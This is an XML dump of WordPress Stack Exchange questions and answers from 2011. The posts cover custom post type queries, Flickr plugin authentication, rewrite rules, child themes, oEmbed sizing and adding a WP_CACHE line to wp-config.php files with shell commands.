  <row Id="27338" PostTypeId="1" CreationDate="2011-08-31T03:30:03.190" Score="0" ViewCount="15" Body="&lt;p&gt;Using wordpress 3.2.1 and Flickr Gallery 1.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to generate a token Flicker tells me &quot;Oops! Flickr can't find a valid callback URL&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone used this plugin or any plug in and found a way to fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="8278" LastActivityDate="2011-08-31T06:23:45.060" Title="Any one know why Flickr Gallery won't authenticate with Flickr?" Tags="&lt;plugins&gt;&lt;authentication&gt;&lt;flickr&gt;" AnswerCount="1" />
  <row Id="27339" PostTypeId="1" AcceptedAnswerId="27369" CreationDate="2011-08-31T03:40:33.280" Score="-1" ViewCount="42" Body="&lt;p&gt;Ouch, banging my head against a wall!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to query my post type 'clips' in index.php but it's returning only posts from the default 'post'. I need some insight! What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;    'labels' =&amp;gt; $labels,&#xA;    'supports' =&amp;gt; $supports, &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 4,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'public' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'clip',&#xA;    //'map_meta_cap' =&amp;gt; true,&#xA;    //'capabilites' =&amp;gt; $capabilities,&#xA;); &#xA;&#xA;register_post_type( 'clip', $args ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My query (index.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('posts_per_page' =&amp;gt; 17, 'post_type' =&amp;gt; array('clip'))); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;clips&quot; class=&quot;clearfix reset&quot;&amp;gt;&#xA;&#xA;  &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;?php the_title();?&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php the_permalink(); ?&amp;gt;&#xA;      &amp;lt;a id=&quot;post-&amp;lt;?php the_id(); ?&amp;gt;&quot; class=&quot;videolink&quot; title=&quot;Click to view&quot; href=&quot;&quot;&amp;gt;&#xA;      &amp;lt;?php if ( has_post_thumbnail() ) { &#xA;         the_post_thumbnail(); &#xA;        } else { &#xA;        echo &quot;No thumbnail&quot;; &#xA;        } ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;   &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;Sorry, but this content is not available.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note there are no other loops in the template file.&lt;/p&gt;&#xA;" OwnerUserId="6068" LastActivityDate="2011-08-31T14:46:56.617" Title="Query not returning CPT posts" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="27340" PostTypeId="2" ParentId="27330" CreationDate="2011-08-31T03:57:22.887" Score="1" ViewCount="" Body="&lt;p&gt;FeedWordPress sounds like what you're looking for: &lt;a href=&quot;http://wordpress.org/extend/plugins/feedwordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/feedwordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-31T03:57:22.887" />
  <row Id="27341" PostTypeId="2" ParentId="27332" CreationDate="2011-08-31T04:04:25.400" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/google-xml-sitemaps-with-multisite-support/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; for google sitemap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For others do not network activate those plugins. Goto individual site and activate it manually. &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-31T04:04:25.400" CommentCount="2" />
  <row Id="27342" PostTypeId="1" CreationDate="2011-08-31T05:10:07.290" Score="-2" ViewCount="21" Body="&lt;p&gt;I’m looking for functions that will clean up all the mess that tiny mce do and make the post more &quot;seo friendly&quot;&#xA;is there a plugin that do that?&lt;/p&gt;&#xA;" OwnerUserId="7095" LastActivityDate="2011-08-31T05:10:07.290" Title="Single.php theming &amp; code fix" Tags="&lt;posts&gt;&lt;seo&gt;&lt;single&gt;" CommentCount="2" />
  <row Id="27344" PostTypeId="2" ParentId="27338" CreationDate="2011-08-31T06:23:45.060" Score="0" ViewCount="" Body="&lt;p&gt;I haven't used this plugin, but a quick search on Google brought me to this page:&#xA;&lt;a href=&quot;http://www.flickr.com/groups/tantannoodles/discuss/72157594322023022/&quot; rel=&quot;nofollow&quot;&gt;http://www.flickr.com/groups/tantannoodles/discuss/72157594322023022/&lt;/a&gt;&lt;br&gt;&#xA;where they offer a few solutions:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Chang the application type to web based and enter the options page url for the callback url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Check your version of php. Apparently on php4 it's be able to authenticate but with php5 it's supposed to work fine  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Read the &lt;a href=&quot;http://www.flickr.com/services/api/auth.howto.web.html&quot; rel=&quot;nofollow&quot;&gt;authentication how to's&lt;/a&gt; . You need to configure callback Url in your &lt;a href=&quot;http://www.flickr.com/services/api/keys/&quot; rel=&quot;nofollow&quot;&gt;api keys&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-08-31T06:23:45.060" />
  <row Id="27345" PostTypeId="1" CreationDate="2011-08-31T06:31:12.520" Score="1" ViewCount="11" Body="&lt;p&gt;A moved a standalone wordpress install to be one of a network, but the possibility to access the uploaded files with the same URL is need to be kept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the following rewrite rule to work, without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^(.*)?domain\.com&#xA;RewriteRule ^/wp-content/uploads/(.*)$ /wp-content/blogs.dir/3/files/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I miss?&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-31T06:40:54.987" Title="ReWrite rule for files of a previously standalone blog moved to network" Tags="&lt;url-rewriting&gt;&lt;rewrite-rules&gt;&lt;network&gt;" AnswerCount="1" />
  <row Id="27346" PostTypeId="2" ParentId="27345" CreationDate="2011-08-31T06:40:54.987" Score="0" ViewCount="" Body="&lt;p&gt;OK, I've found it by testing all of the combinations, I could imagine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^(.*)domain\.com&#xA;RewriteRule ^wp-content/uploads/(.*)$ wp-content/blogs\.dir/3/files/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-31T06:40:54.987" />
  <row Id="27350" PostTypeId="1" CreationDate="2011-08-31T09:01:37.263" Score="0" ViewCount="25" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/26598/does-a-low-traffic-wordpress-site-need-a-caching-plugin-and-a-cdn&quot;&gt;Does a low traffic Wordpress site need a caching plugin and a CDN&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I always prefer to use cache plugin when my traffic goes to 100 or more per day. Traffic is the only factor that i can think of for now. Is there any other thing that i'm missing related to cache plugin ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than WP-Super cache and W3 Total Cache, is there any other plugin that take cares of cache ?&lt;/p&gt;&#xA;" OwnerUserId="6071" LastActivityDate="2011-08-31T09:41:29.270" ClosedDate="2011-08-31T09:49:35.490" Title="Cache Plugins - When to Use them?" Tags="&lt;plugins&gt;&lt;cache&gt;" AnswerCount="0" CommentCount="0" />
  <row Id="27352" PostTypeId="1" AcceptedAnswerId="27361" CreationDate="2011-08-31T09:48:37.913" Score="0" ViewCount="18" Body="&lt;p&gt;I'm currently developping a theme for WordPress, and I have run into a little issue.&#xA;I have to display some text as well as a &quot;latest articles&quot; list on the front page. I have the front page set to &lt;strong&gt;Static&lt;/strong&gt; in the settings, and the page which is used as a front page contains the text I want to display. All okay here, text displays correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I only want to display an excerpt of this text on the front page, while still allowing visitors to click on the &quot;Read more&quot; button to read the full text. WordPress doesn't allow that, though : the page set to &lt;em&gt;front page&lt;/em&gt; doesn't behave like the others, and it is now only accessible by the front page itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have 2 links pointing to the same page?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first one pointing to the front page (e.g. &lt;a href=&quot;http://mydomain.com/&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/&lt;/a&gt;), displaying only the excerpt inside the front page template&lt;/li&gt;&#xA;&lt;li&gt;The second one pointing to the classic page address (e.g. &lt;a href=&quot;http://mydomain.com/?p=14&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/?p=14&lt;/a&gt;), displaying the full page content like any other page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers!&lt;/p&gt;&#xA;" OwnerUserId="8300" LastActivityDate="2011-08-31T12:18:19.080" Title="Static front page with excerpt" Tags="&lt;pages&gt;&lt;excerpt&gt;&lt;frontpage&gt;" AnswerCount="1" />
  <row Id="27353" PostTypeId="2" ParentId="27335" CreationDate="2011-08-31T09:48:45.117" Score="0" ViewCount="" Body="&lt;p&gt;If you view the source of the page and view the classes in the body tag it will have a class like page-id-232 or postid-1000 where the number is the id you want.&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-08-31T09:48:45.117" />
  <row Id="27354" PostTypeId="2" ParentId="27321" CreationDate="2011-08-31T10:04:33.240" Score="0" ViewCount="" Body="&lt;p&gt;You can try adding this to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    function my_formatter($content) {&#xA;    $new_content = '';&#xA;    $pattern_full = '{(\[raw\].*?\[/raw\])}is';&#xA;    $pattern_contents = '{\[raw\](.*?)\[/raw\]}is';&#xA;    $pieces = preg_split($pattern_full, $content, -1, PREG_SPLIT_DELIM_CAPTURE);&#xA;&#xA;    foreach ($pieces as $piece) {&#xA;        if (preg_match($pattern_contents, $piece, $matches)) {&#xA;            $new_content .= $matches[1];&#xA;        } else {&#xA;            $new_content .= wptexturize(wpautop($piece));&#xA;        }&#xA;    }&#xA;&#xA;    return $new_content;&#xA;}&#xA;&#xA;remove_filter('the_content', 'wpautop');&#xA;remove_filter('the_content', 'wptexturize');&#xA;&#xA;add_filter('the_content', 'my_formatter', 99);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've added that and saved the file, you can wrap the code you don't want formatted with a shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[raw]Unformatted code[/raw]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOURCE:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.wprecipes.com/disable-wordpress-automatic-formatting-on-posts-using-a-shortcode&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/disable-wordpress-automatic-formatting-on-posts-using-a-shortcode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&#xA;I haven't tested this solution, but it comes from a reliable source.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-31T10:04:33.240" CommentCount="2" />
  <row Id="27355" PostTypeId="1" CreationDate="2011-08-31T10:11:15.423" Score="0" ViewCount="22" Body="&lt;p&gt;I believe that Wordpress will try to find a suitable URL if you enter a wrong one. So I have a page &lt;a href=&quot;http://www.example.com/products/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/products/&lt;/a&gt; and by mistake I enter &lt;a href=&quot;http://www.example.com/prods/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/prods/&lt;/a&gt; Wordpress will probably automatically redirect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that it is similar to the Multiviews option in apache. Can the Wordpress features be turned off?&lt;/p&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="5804" LastEditorDisplayName="" LastEditDate="2011-08-31T12:17:02.633" LastActivityDate="2011-09-02T10:34:43.540" Title="Wordpress Auto-Redirecting on 404" Tags="&lt;redirect&gt;&lt;404-error&gt;" AnswerCount="1" />
  <row Id="27356" PostTypeId="2" ParentId="26858" CreationDate="2011-08-31T10:21:41.327" Score="0" ViewCount="" Body="&lt;p&gt;SOLVED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed the problem&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Go to Settings&amp;gt;Media&#xA;Enter the &quot;Full URL path to files&quot; according to the file structure on you server.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2011-08-31T10:21:41.327" />
  <row Id="27357" PostTypeId="1" CreationDate="2011-08-31T10:52:38.070" Score="2" ViewCount="61" Body="&lt;p&gt;We have multiple wordpress sites and need to update the wp-config for w3 total cache. We have to append &lt;code&gt;define('WP_CACHE', true);&lt;/code&gt; into the wp-config.php file. Is it possible to do this via ssh. I don't want to have to go in and open each config file and add it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help will be much appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-09-02T07:37:39.670" Title="Append code into wp-config.php" Tags="&lt;php&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="27358" PostTypeId="2" ParentId="27357" CreationDate="2011-08-31T11:23:51.390" Score="0" ViewCount="" Body="&lt;p&gt;This commands prepends a line at the beggining of &lt;em&gt;yourfile&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sed -i 1i&quot;define('WP_CACHE', true);&quot; yourfile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To look for many files named wp-config.php and prepend the same text, type this in the shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in $(find . -name wp-config.php) &#xA;do&#xA;sed -i 1i&quot;define('&amp;lt;?php WP_CACHE', true); ?&amp;gt;&quot; $i&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run this from the main folder where you have all the WP sites.&lt;/p&gt;&#xA;" OwnerUserId="8303" LastEditorUserId="8303" LastEditorDisplayName="" LastEditDate="2011-09-02T07:37:39.670" LastActivityDate="2011-09-02T07:37:39.670" CommentCount="3" />
  <row Id="27359" PostTypeId="2" ParentId="27357" CreationDate="2011-08-31T11:32:38.493" Score="0" ViewCount="" Body="&lt;p&gt;This will search the server recursively from root (&lt;code&gt;/&lt;/code&gt;) for all files named &lt;code&gt;wp-config.php&lt;/code&gt; and append the string &lt;code&gt;define('WP_CACHE', true);&lt;/code&gt; onto the end of the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find / -name &quot;wp-config.php&quot; -print | while read i; do echo &quot;define('WP_CACHE', true);&quot; &amp;gt;&amp;gt; &quot;$i&quot;; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8302" LastActivityDate="2011-08-31T11:32:38.493" CommentCount="3" />
  <row Id="27360" PostTypeId="1" CreationDate="2011-08-31T11:39:51.477" Score="0" ViewCount="18" Body="&lt;p&gt;I'm trying to find a good solution to a site I'm trying to create. This wordpress site would be video oriented, with a portfolio design on its homepage and a series of &lt;strong&gt;featured videos&lt;/strong&gt; on that homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are lots of choices there, but I need one that &lt;strong&gt;could let me manage pre-roll and post-roll ads&lt;/strong&gt; (even overlay), and that ads should be clickable, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &lt;strong&gt;&lt;a href=&quot;http://www.longtailvideo.com/players/jw-flv-player/&quot; rel=&quot;nofollow&quot;&gt;JW Player&lt;/a&gt;&lt;/strong&gt; is a nice alternative, but I don't know if it lets you select your own ads, or if you just enter their advertisement business, similar to those of YouTube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked another possibility, which would be hosting those videos on &lt;a href=&quot;http://vimeo.com/pro?utm_source=newsletter81511&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Vimeo PRO&lt;/strong&gt;&lt;/a&gt;, but as far as I know there are no OWN pre-roll / post-roll ads, and you can add ads from a advertisement publisher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be done with a flash player, and, maybe, &lt;strong&gt;a manageable playlist&lt;/strong&gt;? This way I'd have two videos (the pre-roll first, then the real video) and show them in sequence... If so, would it be possible to hide the playlist, and make the pre-roll clickable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked other possibilities, such as &lt;a href=&quot;http://www.realgravity.com/&quot; rel=&quot;nofollow&quot;&gt;RealGravity&lt;/a&gt;, &lt;a href=&quot;http://corp.kaltura.com/video_platform/overview&quot; rel=&quot;nofollow&quot;&gt;Kaltura&lt;/a&gt; and &lt;a href=&quot;http://www.marcellus.tv/editions/&quot; rel=&quot;nofollow&quot;&gt;Marcellus&lt;/a&gt;, but none of them are what I'm looking for I think. And for the moment I'd host the videos on my own server, so WordPress / JW Player could be the choice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some plugin or better solution for my needs that someone may know?&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-31T11:39:51.477" Title="Best solution to have my own videos with (this is important) my own pre-roll / post-roll ads?" Tags="&lt;videos&gt;&lt;ads&gt;" />
  <row Id="27361" PostTypeId="2" ParentId="27352" CreationDate="2011-08-31T12:18:19.080" Score="0" ViewCount="" Body="&lt;p&gt;This plugin should help you. It ads the Excerpt Meta box to the Edit Page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/page-excerpts-for-wordpress-three/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/page-excerpts-for-wordpress-three/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-31T12:18:19.080" CommentCount="1" />
  <row Id="27362" PostTypeId="2" ParentId="24715" CreationDate="2011-08-31T12:20:39.930" Score="0" ViewCount="" Body="&lt;p&gt;Adding    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('template_redirect','redirect_canonical');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will create more problems than solve because that will enable other sorts of urls. &lt;a href=&quot;http://www.easyjob.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.easyjob.net/&lt;/a&gt; and &lt;a href=&quot;http://www.easyjob.net/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.easyjob.net/index.php&lt;/a&gt; will be accessible and that is very bad for SEO since you have to pages showing the same content. I am looking for a solution to stop Wordpress from redirecting misspelled URLs and will update you I find one&lt;/p&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2011-08-31T12:20:39.930" />
  <row Id="27363" PostTypeId="2" ParentId="27355" CreationDate="2011-08-31T12:28:25.070" Score="0" ViewCount="" Body="&lt;p&gt;WordPress doesn't automatically suggest pages when a 404 occurs. Many themes have a 404.php template file that can effect what happens when an incorrect URL is entered. Maybe your theme has a 404 page. If you don't want it to interfere, you could try deleting the 404.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;REVISION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, I understand your request now. The best I've been able to come up with is to add this to the functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php remove_action( 'template_redirect', 'redirect_canonical' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is probably not a good idea, I'm sure it handles more than just suggesting a page when the URL given is a close match. If you want to mess around with the code to see what you can come up with, you can find it canonical.php core file located in wp-includes/canonaical.php.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-09-02T10:34:43.540" LastActivityDate="2011-09-02T10:34:43.540" CommentCount="2" />
  <row Id="27364" PostTypeId="1" CreationDate="2011-08-31T12:50:52.537" Score="0" ViewCount="27" Body="&lt;p&gt;is this possible for 2 taxonomy and 2 terms&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $querystr = &quot;&#xA; SELECT *&#xA; FROM $wpdb-&amp;gt;posts&#xA; LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA; LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA; LEFT JOIN $wpdb-&amp;gt;terms ON($wpdb-&amp;gt;term_taxonomy.term_id = $wpdb-&amp;gt;terms.term_id)&#xA; WHERE $wpdb-&amp;gt;posts.post_type = 'shows'&#xA; AND $wpdb-&amp;gt;posts.post_status = 'publish'&#xA; AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'location'&#xA; AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'genre'&#xA; AND $wpdb-&amp;gt;terms.slug = 'california'&#xA; AND $wpdb-&amp;gt;terms.slug = 'comedy'&#xA; ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA; LIMIT 10&#xA; &quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;if ($pposts):&#xA;&#xA;foreach ($pposts as $post):&#xA;setup_postdata($post);&#xA;&#xA;the_title();&#xA;echo '&amp;lt;br'&amp;gt;;&#xA;the_content();&#xA;&#xA;endforeach;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i tried putting this code above but the doesnt display anything; I want to display posts that has 2 term name and 2 taxonomy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like for example:&#xA;sampleposts [showlocation_tax][genre_tax]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;showlocation_tax has terms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-california&#xA;-LA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while genre_tax&#xA;- comedy&#xA;- fashion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i want to do is i want to show all post&#xA;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;posts from california with comedy shows something like that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i will really appreciate your help a lot&lt;/p&gt;&#xA;" OwnerUserId="8008" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-31T13:16:09.883" LastActivityDate="2011-08-31T14:38:17.723" Title="Select query with two and two related taxonomies" Tags="&lt;taxonomy&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="27365" PostTypeId="1" CreationDate="2011-08-31T12:55:22.523" Score="0" ViewCount="11" Body="&lt;p&gt;1st The Problem: &#xA;I have a Wordpress MU + Buddypress (latest versions) installed and working fine on a domain, let's call it mysites.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have bought recently some more domains like mst.com, 1st.com etc. Now I want to allow users to register and create blogs on these new domains using the mysites.com installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions I tried / thought about&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;So I have downloaded and set up WordPress MU Domain Mapping. But when I type mst.com it redirects me to mysites.com/register page, and I also don't see anywhere an option to let users choose the domain when registering or creating the new blog.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have also googled and came up with this &lt;a href=&quot;http://premium.wpmudev.org/project/multi-domains/installation/&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/multi-domains/installation/&lt;/a&gt; but it's paid, and guess it offers the same thing as the first plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if anybody tried this before, can you point me to the right direction?&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-08-31T12:55:22.523" Title="Could't get WordPress MU Domain Mapping to work" Tags="&lt;multisite&gt;&lt;domain&gt;&lt;domain-mapping&gt;" CommentCount="1" />
  <row Id="27366" PostTypeId="1" CreationDate="2011-08-31T13:06:43.323" Score="0" ViewCount="55" Body="&lt;p&gt;This is my first attempt at creating a child theme based off the WP twentyeleven theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To begin with, I am using MAMP on my mac and have the following directory structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; applications/MAMP/htdocs/mysite/wp-content/themes/twentyeleven/style.css&#xA;                                                  /mytwentyeleven/style.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My URL in my browser appears as: &lt;code&gt;http://localhost:8888/mysite/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem/query is, when I activate my theme within WP 3.2 and then go and view it, there is no style been applied at all and the header and footer don't appear either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my directory structure above, I am thinking my style.css within my mytwentyeleven directory is not importing original parent twentyeleven style.css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my import path is wrong or perhaps something else. Again, this is my first time at creating a child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my child theme style.css file contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: MyTwentyEleven Theme&#xA;Author: Me&#xA;Description: My TwentyEleven Child Theme CSS&#xA;Template: twentyeleven&#xA;*/&#xA;@import url(&quot;../twentyeleven/style.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can people please let me know what I have missed as the import url path is not working as from the looks of it, it's not finding the parent twentyeleven style.css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it's a MAMP thing but I just can't seem to see why it's not working/finding correct path back to parent stylesheet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="1053" LastEditorDisplayName="" LastEditDate="2011-08-31T14:21:43.157" LastActivityDate="2011-08-31T15:50:45.897" Title="WordPress Child Theme - twentyeleven" Tags="&lt;child-theme&gt;&lt;stylesheet&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="1" CommentCount="14" />
  <row Id="27367" PostTypeId="2" ParentId="16041" CreationDate="2011-08-31T14:20:45.853" Score="0" ViewCount="" Body="&lt;p&gt;Using the following in your &lt;strong&gt;functions.php&lt;/strong&gt; file should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; *  Configure default oEmbed video sizes&#xA; */&#xA;function base_oembed_defaults($embed_size) {&#xA;    if( is_single() ) {&#xA;        $embed_size['width'] = 580;&#xA;        $embed_size['height'] = 435;&#xA;    }&#xA;    return $embed_size;&#xA;}&#xA;add_filter('embed_defaults', 'base_oembed_defaults');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add as many &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;WordPress conditional statements&lt;/a&gt; as you like to match the desired aspect ratio for each template.&lt;/p&gt;&#xA;" OwnerUserId="1495" LastActivityDate="2011-08-31T14:20:45.853" />
